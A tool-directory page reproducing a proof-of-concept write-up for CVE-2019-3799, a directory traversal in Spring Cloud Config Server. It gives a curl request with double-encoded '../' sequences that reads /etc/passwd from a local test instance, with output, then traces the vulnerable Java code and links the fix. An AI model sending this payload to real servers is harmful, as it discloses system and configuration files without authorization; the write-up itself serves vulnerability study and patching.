Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-3799 — CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6 | Kitploit
Tools/GitHubGitHub/mpgn/cve-2019-3799
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubmpgn/cve-2019-3799

CVE-2019-3799

CVE-2019-3799 - Spring Cloud Config Server: Directory Traversal < 2.1.2, 2.0.4, 1.4.6

View Repository
31547 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-3799 - Spring-Cloud-Config-Server Directory Traversal < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config Server is vulnerable to a directory Traversal / Path traversal / File Content Disclosure < 2.1.2, 2.0.4, 1.4.6

Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.

capture d'écran_1

Found by Vern ([email protected])

Security Advisory

  • https://pivotal.io/security/cve-2019-3799
  • https://spring.io/blog/2019/04/17/cve-2019-3799-spring-cloud-config-2-1-2-2-0-4-1-4-6-released

Technical Anlysis

  • https://chybeta.github.io/2019/04/18/%E3%80%90CVE-2019-3799%E3%80%91-Directory-Traversal-with-spring-cloud-config-server/

Proof Of Concept

  1. Download a vulnerable version of Spring Cloud Config https://github.com/spring-cloud/spring-cloud-config
  2. Run the application
cd spring-cloud-config-server                                                                                                                                                                     
../mvnw spring-boot:run
  1. Exploit
curl http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd                                                                                                    

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

The vulnerability

As always, by reading the documentation we can find the relevant information:

Serving plain text file: https://cloud.spring.io/spring-cloud-static/spring-cloud-config/1.3.1.RELEASE/#_serving_plain_text

The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where "name", "profile" and "label" have the same meaning as the regular environment endpoint, but "path" is a file name (e.g. log.xml).

Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path}

Another intersting information form the doc:

With VCS based backends (git, svn) files are checked out or cloned to the local filesystem. By default they are put in the system temporary directory with a prefix of config-repo-. On linux, for example it could be /tmp/config-repo-

What append when we send http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

  1. The request is mapped with

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L71

@RequestMapping("/{name}/{profile}/{label}/**")
public String retrieve(@PathVariable String name, @PathVariable String profile,
    @PathVariable String label, ServletWebRequest request,
    @RequestParam(defaultValue = "true") boolean resolvePlaceholders)
    throws IOException {
  String path = getFilePath(request, name, profile, label);
  return retrieve(request, name, profile, label, path, resolvePlaceholders);
}
  1. The function retrieve call the function findOne

https://github.com/spring-cloud/spring-cloud-config/blob/3c0348ca624f9f3b370797799a3608840fed2d8b/spring-cloud-config-server/src/main/java/org/springframework/cloud/config/server/resource/ResourceController.java#L103

synchronized String retrieve(ServletWebRequest request, String name, String profile,
    String label, String path, boolean resolvePlaceholders) throws IOException {
  name = resolveName(name);
  label = resolveLabel(label);
  Resource resource = this.resourceRepository.findOne(name, profile, label, path); // path: ..%2f..%2f..%2f..%2f..%2f../etc/passwd
  if (checkNotModified(request, resource)) {
    // Content was not modified. Just return.
    return null;
  }
  // ensure InputStream will be closed to prevent file locks on Windows
  try (InputStream is = resource.getInputStream()) {
    String text = StreamUtils.copyToString(is, Charset.forName("UTF-8"));
    if (resolvePlaceholders) {
      Environment environment = this.environmentRepository.findOne(name,
          profile, label);
      text = resolvePlaceholders(prepareEnvironment(environment), text);
    }
    return text;
  }
}
  1. The function findOne is called:
public synchronized Resource findOne(String application, String profile, String label, String path) {
  if (StringUtils.hasText(path)) {
    String[] locations = this.service.getLocations(application, profile, label).getLocations(); // /tmp/config-repo-<randomid>
    try {
      for (int i = locations.length; i-- > 0; ) {
        String location = locations[i]; // [1]..%2f..%2f..%2f..%2f..%2f../etc/passwd
        for (String local : getProfilePaths(profile, path)) {
            Resource file = this.resourceLoader.getResource(location).createRelative(local); // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            if (file.exists() && file.isReadable()) {
                return file; // /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd
            }
          }
        }
      }
    }
    catch (IOException e) {
        throw new NoSuchResourceException(
                "Error : " + path + ". (" + e.getMessage() + ")");
    }
  }
  throw new NoSuchResourceException("Not found: " + path);
}
  1. Then the function retrieve read the file with StreamUtils.copyToString(is, Charset.forName("UTF-8") that convert /tmp/config-repo-<randomid>/..%2f..%2f..%2f..%2f..%2f../etc/passwd to /etc/passwd resulting to the disclosure of the file /etc/passwd

capture d'écran_4


Fix: https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

capture d'écran

From 3632fc6f64e567286c42c5a2f1b8142bfde505c2 Mon Sep 17 00:00:00 2001
From: Spencer Gibb <[email protected]>
Date: Tue, 2 Apr 2019 14:16:10 -0400
Subject: [PATCH] Cleans invalid paths

fixes gh-1355
---
 .../resource/GenericResourceRepository.java   | 165 ++++++++++++++++--
 .../GenericResourceRepositoryTests.java       |  18 ++
 2 files changed, 170 insertions(+), 13 deletions(-)
Download Tool